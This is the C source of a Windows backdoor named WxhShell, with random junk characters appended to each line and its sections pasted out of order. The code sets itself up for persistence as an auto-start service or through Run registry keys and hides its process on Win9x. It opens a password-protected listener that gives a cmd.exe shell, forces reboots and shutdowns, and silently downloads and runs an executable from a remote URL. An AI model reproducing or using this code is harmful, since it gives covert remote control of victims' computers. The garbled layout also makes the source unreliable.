    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^]}UyrOn  
    else { fw@n[u{~  
    closesocket(wsh); '6*^s&H~  
    ExitThread(0); H8j#rC#&pm  
    } !gv/jdF  
    break; #)`N  
    } >pjmVl w?  
  // 获取shell >x0"gh  
  case 's': { 1au1DvH  
    CmdShell(wsh); "\bbe@  
    closesocket(wsh); *"#62U6  
    ExitThread(0); C5;=!B  
    break; h32QEz-+  
  } CqQ>"Y  
  // 退出 o9+ "6V|.  
  case 'x': { 4bD^Kc 4\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1wpT"5B  
    CloseIt(wsh); ML?%s`   
    break; e W&;r&26  
    } gZ6]\l]J{  
  // 离开 uev$5jlX  
  case 'q': { o9-b!I2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BE/#=$wPjM  
    closesocket(wsh); [r%WVf.#d  
    WSACleanup(); qCg`"/0  
    exit(1); 24Lo .  
    break; ] fz0E:x  
        } iK{ a9pt  
  } in_~,fd  
  } !|K~)4%rj  
MJS4^*B\1  
  // 提示信息 p$^}g:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VR/7CI4=  
} +grIw# j  
  } FHWzwi*u}  
T4n.C~  
  return; !$r4 lu  
} $PA=7`\MP/  
;Hr FPx&d1  
// shell模块句柄 |UvM [A|+  
int CmdShell(SOCKET sock) '6Dt@^-PZ  
{ N|pjGgI  
STARTUPINFO si; S\2QZ[u  
ZeroMemory(&si,sizeof(si)); txM R[o_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &RQQVki3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =~Oi:+L  
PROCESS_INFORMATION ProcessInfo; qa 'YZE`  
char cmdline[]="cmd"; ?eD,\G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5^lroC-(x  
  return 0; j&n][=PL  
} ' O1X+  
#@xSR:m  
// 自身启动模式 `k~.>#  
int StartFromService(void) Oo{+W 5[  
{ }Th":sin},  
typedef struct *gRg--PY%  
{ ]nE_(*w  
  DWORD ExitStatus; m~Q]#r  
  DWORD PebBaseAddress; =Ly7H7Q2  
  DWORD AffinityMask; kgfOH.P  
  DWORD BasePriority; W!B4~L  
  ULONG UniqueProcessId; J~7E8  
  ULONG InheritedFromUniqueProcessId; v%c r   
}   PROCESS_BASIC_INFORMATION; O8#}2  
ZC+F*:$  
PROCNTQSIP NtQueryInformationProcess; g7!P|  
1{\{'EP{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UBoN}iR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $r%m<Uc;}O  
'~i;g.n=}-  
  HANDLE             hProcess; Zj;2>  
  PROCESS_BASIC_INFORMATION pbi; .sNUU 3xSC  
*xB9~:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~I<yN`5(a  
  if(NULL == hInst ) return 0; ]Cd 1&  
/VB n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {6Tw+/`P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X51pRP $R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7MIu-x|  
!%b.k6%>w  
  if (!NtQueryInformationProcess) return 0; Yjxa=CD  
o"D`_ER  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rz% Px:M  
  if(!hProcess) return 0; }m NP[L  
 e;8>/G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;EstUs3  
?Pz:H/ $  
  CloseHandle(hProcess); l/[0N@r~  
%jEdgD%xV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }5dYmny  
if(hProcess==NULL) return 0; :_v/a+\n  
SpbOvY=>  
HMODULE hMod; N\b%+vR  
char procName[255]; ;8m_[gfw  
unsigned long cbNeeded; +k]9n*^uz  
^luAX }*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (9q61z A  
"orZje9AC  
  CloseHandle(hProcess); cQEK>aAd  
4~-"k{Xt  
if(strstr(procName,"services")) return 1; // 以服务启动 b}'XDw   
Ro :/J  
  return 0; // 注册表启动 CpHF3o`Z6  
} H?tonG.^(  
Kd}cf0  
// 主模块 J \U}U'qP  
int StartWxhshell(LPSTR lpCmdLine) \[&`PD  
{ <(x[Qp/5P  
  SOCKET wsl; U085qKyCw  
BOOL val=TRUE; +T:F :X`  
  int port=0; +P,hT  
  struct sockaddr_in door; #I[tsly}  
>*rsRR  
  if(wscfg.ws_autoins) Install(); `9M:B&  
+jD?h-]  
port=atoi(lpCmdLine); [G:wPp.y  
Y%!3/3T  
if(port<=0) port=wscfg.ws_port; ") kE 1D%  
clK3kBh~&  
  WSADATA data; C!xqp   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z#.J>_u )  
D%k%kg0,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vtw{ A}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |0YDCMq(  
  door.sin_family = AF_INET; )M(;:#le  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c;DWSgIw  
  door.sin_port = htons(port); A,-UW+:  
ZY-UQ4_|u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X8l[B{|  
closesocket(wsl); aW hhq@  
return 1; NN1d?cOn  
} l1}=>V1  
i6wLM-.)  
  if(listen(wsl,2) == INVALID_SOCKET) { 68 d\s 4  
closesocket(wsl); cA%70Y:AV  
return 1; #W[/N|~wx  
} j|3p.Cy  
  Wxhshell(wsl); -1t"(v  
  WSACleanup(); y BF3Lms  
6wH]W+A  
return 0; *FyBkG'  
xe}d&  
} Arh0m. w  
hMz= \)Pl  
// 以NT服务方式启动 {8D`A;KD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cv{>|g#  
{ 82#7TX4  
DWORD   status = 0; i-Ck:-J  
  DWORD   specificError = 0xfffffff; )G6{JL-I  
GkqKIs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d5&avL\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "w ] Bq0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \{  
  serviceStatus.dwWin32ExitCode     = 0; bmN'{09@  
  serviceStatus.dwServiceSpecificExitCode = 0; En$-,8\%  
  serviceStatus.dwCheckPoint       = 0; Pe[~kog,TP  
  serviceStatus.dwWaitHint       = 0; fT1/@  
.}gGtH,b3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dz$GPA   
  if (hServiceStatusHandle==0) return; t.|b285e  
@]yd Wd  
status = GetLastError(); 0~{jgN~  
  if (status!=NO_ERROR) c p.c$  
{ u*:B 9E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M3- bFIt  
    serviceStatus.dwCheckPoint       = 0; Rn6;@Cw  
    serviceStatus.dwWaitHint       = 0; *'D( j#&  
    serviceStatus.dwWin32ExitCode     = status; UMsJg7~  
    serviceStatus.dwServiceSpecificExitCode = specificError; Dizc#!IGU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  5,  
    return; ?K]Cs&E4  
  } 'J(rIH3U  
$<R\|_6J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?v8.3EE1\o  
  serviceStatus.dwCheckPoint       = 0; nojJGeW%  
  serviceStatus.dwWaitHint       = 0; 4D(5WJ&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); le1  
} h:{rjXK  
<u>l#weG,  
// 处理NT服务事件,比如:启动、停止 {&Kck>C'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i?" ~g!A  
{ B:5\+_a!  
switch(fdwControl) ;{mKt%#  
{ ! h7?Ap  
case SERVICE_CONTROL_STOP: :t?Z  
  serviceStatus.dwWin32ExitCode = 0; ;"/[gFD5u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -Lh\]  
  serviceStatus.dwCheckPoint   = 0; UYJMW S=  
  serviceStatus.dwWaitHint     = 0; u0^Vy#@_  
  { TC7&IqT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c^$_epc*  
  } LLE\;,bv  
  return; x'dU[f(  
case SERVICE_CONTROL_PAUSE: ;!H<W[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R+vago:  
  break; D; xRgHn  
case SERVICE_CONTROL_CONTINUE: N]gJ( g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T](N ^P  
  break; }6zo1"  
case SERVICE_CONTROL_INTERROGATE: G Y??q8  
  break; N<&"_jzm  
}; >fG=(1"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -3-*T)  
} h"h3SD~  
{C+blzh6  
// 标准应用程序主函数 Wtl/xA_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zj,1)ii  
{ >TZ 'V,  
iveJh2!#<  
// 获取操作系统版本 (C{l4  
OsIsNt=GetOsVer(); xz!b@5DR'%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1+wmR4o  
KVQ^-^  
  // 从命令行安装 }4'5R  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8%C7!l q  
S#km`N`  
  // 下载执行文件 c8uFLM j  
if(wscfg.ws_downexe) { ybsQ[9_36  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gumT"x .^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3$<u3Zi6  
}  UZJ^ e$N  
L'1!vu *Rg  
if(!OsIsNt) { K&T[F!  
// 如果时win9x,隐藏进程并且设置为注册表启动 [4p~iGC  
HideProc(); b)+nNqY|  
StartWxhshell(lpCmdLine); pxf(C<y6_  
} 1Q[I$=-F  
else "cJ))v-'  
  if(StartFromService()) ;U+4!N  
  // 以服务方式启动 \gz(C`4{j  
  StartServiceCtrlDispatcher(DispatchTable); ..FEyf  
else $7J9Yzp?L  
  // 普通方式启动 2HA-q),6  
  StartWxhshell(lpCmdLine); uJxT)m!/  
dJYsn+  
return 0; "AN*2)e4  
} h2k"iO }  
6}z-X*  
aCxF{>n  
+pcGxje\  
=========================================== ^"lVTDsU  
(^_j,4  
3C[#_&_l  
~PaEhj&8  
/\7E&n:)2  
dWc'RwL  
" oRDqN]  
CjFnE   
#include <stdio.h> \kN?7b^  
#include <string.h> d_7v1)j  
#include <windows.h> "2l$}G  
#include <winsock2.h> rdQKzJiX=U  
#include <winsvc.h> 7+(on  
#include <urlmon.h> `kE ;V!n?  
38<Z=#S  
#pragma comment (lib, "Ws2_32.lib") DxM$4  
#pragma comment (lib, "urlmon.lib") KM-d8^\:  
JxP&znng  
#define MAX_USER   100 // 最大客户端连接数 T`ofj7$:  
#define BUF_SOCK   200 // sock buffer j\hI, mc  
#define KEY_BUFF   255 // 输入 buffer l & A8P  
nYFM^56>_  
#define REBOOT     0   // 重启 `jHbA#sO  
#define SHUTDOWN   1   // 关机 }}?,({T|n  
$U/|+*  
#define DEF_PORT   5000 // 监听端口 3Q0g4#eP  
\\R$C  
#define REG_LEN     16   // 注册表键长度 p<Oz"6_/~  
#define SVC_LEN     80   // NT服务名长度 o;[?b'\[d  
PTS dW~3  
// 从dll定义API =Ch^;Wyt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8-|| Nh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uM"_3je{W2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DXI{ jalL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &~Hx!]uc  
pie8 3Wy>  
// wxhshell配置信息 Y5fz_ [("  
struct WSCFG {  i)!2DXn  
  int ws_port;         // 监听端口 @ajt D-_2  
  char ws_passstr[REG_LEN]; // 口令 [_BQ%7D U  
  int ws_autoins;       // 安装标记, 1=yes 0=no I4"(4u@P  
  char ws_regname[REG_LEN]; // 注册表键名 SSQB1c  
  char ws_svcname[REG_LEN]; // 服务名 V|3^H^\5P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,=IGqw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TCWt3\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >%\&tS'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M*gbA5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ln1!%B;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6*&$ha}X  
F tS"vJ\  
}; 73p7]Uo  
B?nw([4m  
// default Wxhshell configuration Fp&tJ]=B.  
struct WSCFG wscfg={DEF_PORT, UdOO+Z_K%  
    "xuhuanlingzhe", >vPv 4e7&3  
    1, Ee3 -oHa  
    "Wxhshell", ,{C hHnJ%#  
    "Wxhshell", <B&vfKO^h  
            "WxhShell Service", Nsf>b8O  
    "Wrsky Windows CmdShell Service", ~K/_51O'  
    "Please Input Your Password: ", J?9n4 u  
  1, (Q?@LzCjy  
  "http://www.wrsky.com/wxhshell.exe", y*#YIS56I  
  "Wxhshell.exe" 71+ bn  
    }; |!q,J  
elGwS\sw  
// 消息定义模块 -=W Qed}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s-801JpiJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LrH"d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 64UrD{$o  
char *msg_ws_ext="\n\rExit."; oTN:Q"oK7?  
char *msg_ws_end="\n\rQuit."; z&c|2L-u6  
char *msg_ws_boot="\n\rReboot..."; |)65y  
char *msg_ws_poff="\n\rShutdown..."; *x-@}WY$U  
char *msg_ws_down="\n\rSave to "; e>2KW5.  
(O$il  
char *msg_ws_err="\n\rErr!"; eH ]9"^> o  
char *msg_ws_ok="\n\rOK!"; at+Nd K  
\0veld  
char ExeFile[MAX_PATH]; ]!X[[w)  
int nUser = 0; Sby(?yg  
HANDLE handles[MAX_USER]; 6r.#/' "  
int OsIsNt; yvWM]A  
9RPZj>ezjA  
SERVICE_STATUS       serviceStatus; ;(-Wc9=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ge`PVwn  
c6T[2Ig  
// 函数声明 =D&XE*qkZ  
int Install(void); FnPn#Cv>*  
int Uninstall(void); U4N H9-U'  
int DownloadFile(char *sURL, SOCKET wsh); zRMz8IC.  
int Boot(int flag); wEF"'T  
void HideProc(void); z"c,TlVN3  
int GetOsVer(void); R > [2*o"  
int Wxhshell(SOCKET wsl); Lz&FywF-l  
void TalkWithClient(void *cs); D>-srzw  
int CmdShell(SOCKET sock); 7 <ZGNxZ~  
int StartFromService(void); gHtflS  
int StartWxhshell(LPSTR lpCmdLine); f hjlt#  
%i) 0sE T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BJgHel+N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +bGO"*  
PjP6^"  
// 数据结构和表定义 9H/C(Vo  
SERVICE_TABLE_ENTRY DispatchTable[] = GOsOFs"I  
{ #p<(2wN  
{wscfg.ws_svcname, NTServiceMain}, =pBr_pGz=  
{NULL, NULL} BJt]k7ku+  
}; ZPG~@lU  
kni{1Gr  
// 自我安装 Iqci}G%r  
int Install(void) :*ZijN*{)$  
{ VHi'~B#'*  
  char svExeFile[MAX_PATH]; *P/DDRq(2  
  HKEY key; Ss3~X90!*B  
  strcpy(svExeFile,ExeFile); 3Rhoul[S  
H;seT XL  
// 如果是win9x系统,修改注册表设为自启动 >0UY,2d  
if(!OsIsNt) { 9PUobV_^Wo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mT/^F{c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )3WUyD*UZN  
  RegCloseKey(key); }9 ]7V<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =M6{{lI/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5@J]#bp0M  
  RegCloseKey(key); ~3Za"q*0s  
  return 0; HB,?}S#TP  
    } h$XoR0  
  } `-.6;T}2U  
} D_?dy4\  
else { 82 dmlPwJC  
:NL[NbQYt  
// 如果是NT以上系统,安装为系统服务 #uV J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;9Qxq]  
if (schSCManager!=0) |~@yXc5a  
{ P!SsMo6n  
  SC_HANDLE schService = CreateService V,% K"b=  
  ( IE3GZk+a~  
  schSCManager, Y4+ ]5;B8  
  wscfg.ws_svcname, W!"Oho'  
  wscfg.ws_svcdisp, 1gnLKfc  
  SERVICE_ALL_ACCESS, }mo)OyIX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dlA0&;}z  
  SERVICE_AUTO_START, X f{9rZ+  
  SERVICE_ERROR_NORMAL, OnH3Ss$  
  svExeFile, )gD2wk(  
  NULL, F|G v  
  NULL, k[}WYs+r  
  NULL, iL!4r]~H  
  NULL, vQGv4  
  NULL LM(r3sonb  
  ); W7c B  
  if (schService!=0) VN0KK 1 I  
  { ^ZIs>.'  
  CloseServiceHandle(schService); +^jm_+  
  CloseServiceHandle(schSCManager); J7sH]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e _(';Lk  
  strcat(svExeFile,wscfg.ws_svcname); liqVfB%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PI@?I&Bo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A<^X P-Nrp  
  RegCloseKey(key); (! 8y~n 1  
  return 0; cE>m/^SKr  
    } d+vAm3.Dg  
  } xSm~V3b c  
  CloseServiceHandle(schSCManager); &JYkh >  
} N{}8Zh4op  
} (J?_~(,`"  
U%0|LQk5  
return 1; Xy./1`X  
} i&p6UU  
!xBJJ/K+|  
// 自我卸载 Y78DYbU.  
int Uninstall(void) j;qV+Rq]t  
{  7PuYrJ  
  HKEY key; ESk:$`P  
$E!f@L  
if(!OsIsNt) { LqO=wK~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c^cr_ i  
  RegDeleteValue(key,wscfg.ws_regname); `Z#':0Z  
  RegCloseKey(key); /MMnW$)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #C'E'g0  
  RegDeleteValue(key,wscfg.ws_regname); *VH Wvj  
  RegCloseKey(key); A^$xE6t  
  return 0; >JA>np  
  } ujl ?!  
} vRn]u57O  
} M]M>z>1*v  
else { y\4/M6  
7SN61)[m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); acar-11_o/  
if (schSCManager!=0) L0I |V[  
{ <CJy3<$u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "',;pGg|K  
  if (schService!=0) 7KGb2V<t  
  { ]jPP]Z:y  
  if(DeleteService(schService)!=0) { Q/]o'_[vW  
  CloseServiceHandle(schService); B'mUDW8\D  
  CloseServiceHandle(schSCManager); :>0,MO.^~K  
  return 0; MBLDx sZ-  
  } 6tjV^sjs  
  CloseServiceHandle(schService); }#; .b'`  
  } K<r5jb  
  CloseServiceHandle(schSCManager); !Eb|AHa  
} ? HNuffk  
} `>b,'u6F  
0rQ r#0`  
return 1; KX3A|  
} uJlW$Oc:.  
yyk@f%  
// 从指定url下载文件 T@`Al('  
int DownloadFile(char *sURL, SOCKET wsh) >)u{%@Rcy{  
{ 8^D1u`  
  HRESULT hr; ]5K(}95&'  
char seps[]= "/"; <`G-_VI  
char *token; +S+=lu _  
char *file; FC~%G&K/q^  
char myURL[MAX_PATH]; FV3[7w=D\  
char myFILE[MAX_PATH]; :>o 0zG[;f  
7 , _b  
strcpy(myURL,sURL); >]%$lSCW\D  
  token=strtok(myURL,seps); WbBd<^Q  
  while(token!=NULL) +V9xKhR;x  
  { s? Xgo&rS_  
    file=token; `iN\@)E  
  token=strtok(NULL,seps); Jf0i$  
  } |:Maa6(W  
0*9xau{(  
GetCurrentDirectory(MAX_PATH,myFILE); ho B[L}<c  
strcat(myFILE, "\\"); &r*F+gL  
strcat(myFILE, file); ()w;~$J  
  send(wsh,myFILE,strlen(myFILE),0); `S5::U6E  
send(wsh,"...",3,0); {]Cn@.TPD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vp0_R9oQ  
  if(hr==S_OK) }~NXiUe  
return 0; ^nNpT!o  
else I.(@#v7T  
return 1; |W$|og'wC  
61_-G#W  
} c53:E'g  
cH4 PrMm&  
// 系统电源模块 C^5 V  
int Boot(int flag) \x\N?$`ANc  
{ >T\@j\X4  
  HANDLE hToken; IbJl/N%o  
  TOKEN_PRIVILEGES tkp; s$(%?,yf2  
lhnGk'@d  
  if(OsIsNt) { bBXLW}W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C@Go]*c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,FH1yJ;Y&  
    tkp.PrivilegeCount = 1; u??ti OK{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !4FOX>|L@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nT +ZSr  
if(flag==REBOOT) { D`mr>-Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -meY[!"X  
  return 0; lKQevoy'  
} c#`IF6qj  
else { dFhyT.Y?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ewq@>$_!  
  return 0; /Hq  
} l 9g  
  } 'RF`XX  
  else { @V:Y%#%  
if(flag==REBOOT) { z}.6yHS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @iXBy:@  
  return 0; a j$& 9][  
} Q-F$Ryj^  
else { aI ;$N|]u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QtXiUx^ k<  
  return 0; z$}9f*W}B  
} zK1]o-wSAT  
} I1l^0@J   
H?M:<q0|G  
return 1; tPN CdA  
} &WL::gy_S  
^k$Bx_{  
// win9x进程隐藏模块 O6 s3#iu  
void HideProc(void) b SgbvnJ  
{ ~k?wnw  
}{=}^c"t'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bJ1Nf|3~E  
  if ( hKernel != NULL ) TXXG0 G  
  { u0,QsD)_X0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )ZBNw{nh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QT73=>^B  
    FreeLibrary(hKernel); j (Q# NFT7  
  } OI"g-+~  
:).NA ]  
return; ,Wu$@jD/ ]  
} )"hd"  
-y|']I^ &  
// 获取操作系统版本 jAue+ tB  
int GetOsVer(void) -sZ'<(3  
{ Fw{#4  
  OSVERSIONINFO winfo; dT% eq7=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BBGub?(dR  
  GetVersionEx(&winfo); +F60_O `  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .boB b<  
  return 1; ;~djbo0,X  
  else IGVq`Mxj  
  return 0; DTM(SN8R+n  
} G3+e5/0  
:A!EjIL`#  
// 客户端句柄模块 |2n*Ds'  
int Wxhshell(SOCKET wsl) (VI(Nv:o@  
{ _e ;b B?S  
  SOCKET wsh; n'{jc 6&|  
  struct sockaddr_in client; DNqV]N_W  
  DWORD myID; '0 )`.  
::iYydpM  
  while(nUser<MAX_USER) [g<gu~  
{ 77sG;8HE  
  int nSize=sizeof(client); X[H.t$w5A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +;,J0,Yn  
  if(wsh==INVALID_SOCKET) return 1; T,uF^%$@AQ  
%mU$]^Tw(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1@ &J"*  
if(handles[nUser]==0) dmv0hof  
  closesocket(wsh); &08dW9H  
else Lb<IEy77\  
  nUser++; s-'~t#h  
  } EA1&D^nT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ss}-YnG  
4g2`[<S  
  return 0; &8Vh3QLEx  
} R@NFpiw  
Z:>3AJuS_  
// 关闭 socket ~"vS$>+  
void CloseIt(SOCKET wsh) 'nh2}  
{ NF4(+E9g  
closesocket(wsh); 7kA+F +f  
nUser--; ~vA8I#.  
ExitThread(0); KU{zzn;g  
} sb3z8:r  
KehM.c^  
// 客户端请求句柄 zDtC]y'  
void TalkWithClient(void *cs) >R6mI  
{ (G} }h  
gg^iYTpt  
  SOCKET wsh=(SOCKET)cs; N}NKQ]=  
  char pwd[SVC_LEN]; a?GXVQ  
  char cmd[KEY_BUFF]; &Z!y>k%6  
char chr[1]; $uFvZ?w&  
int i,j; cr ]b #z  
l/B+k  
  while (nUser < MAX_USER) { dMsS OP0E  
Bsg^[~jWJu  
if(wscfg.ws_passstr) { F:#5Edo}A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "q=ss:(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?SO!INJ  
  //ZeroMemory(pwd,KEY_BUFF); GYb&'#F~t  
      i=0; fK]%*i_"  
  while(i<SVC_LEN) { CMbID1M3  
|.yS~XFJS  
  // 设置超时 _[(EsIqc(F  
  fd_set FdRead; Pw]r&)I`y[  
  struct timeval TimeOut; nsXG@CS:  
  FD_ZERO(&FdRead); z)v o  
  FD_SET(wsh,&FdRead); LWhy5H;Es  
  TimeOut.tv_sec=8; [*(1~PrlO,  
  TimeOut.tv_usec=0; 1BW9,Xr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jVOq/o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L>g6 9D !  
8EdaqF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Akc |E!V  
  pwd=chr[0]; 3)o>sp)Ji$  
  if(chr[0]==0xd || chr[0]==0xa) { [.xc`CF  
  pwd=0; SB('Nqih  
  break; 6)ZaK  
  } 3dbaCusT$  
  i++; :*[mvF  
    } 4 $Kzh  
._A4 :  
  // 如果是非法用户,关闭 socket &J|I&p   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2-ksr}:  
} |Rx+2`6Dp  
g{sp<w0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4Hb"yp$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {` bX*]  
>7cj. %  
while(1) { qc)+T_m  
tl*v(ZW  
  ZeroMemory(cmd,KEY_BUFF); \}kR'l  
gpzFY"MS=  
      // 自动支持客户端 telnet标准   .mqMzV  
  j=0; j r .{M  
  while(j<KEY_BUFF) { d_&pxy? >  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o+ {i26%  
  cmd[j]=chr[0]; %`$:/3P$U  
  if(chr[0]==0xa || chr[0]==0xd) { zd- *UF i  
  cmd[j]=0; qB K68B)  
  break; 2G5|J{4w  
  } Evg#sPu\  
  j++; KVEc:<|x  
    } _99 +Vjy  
:(/1,]bF  
  // 下载文件 L>WxAeyu1K  
  if(strstr(cmd,"http://")) { Bfdfw +  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >$CNR*}@  
  if(DownloadFile(cmd,wsh)) ~l] w=[ z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {6Nbar@3  
  else Ez-AQ'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;g+fY 6  
  } vR5X  
  else { 1|>vk+;1h  
{c]dz7'?  
    switch(cmd[0]) { \Wppl,"6c  
  :@E^oNKa0  
  // 帮助 <?L5bhq  
  case '?': { IN#/~[W  
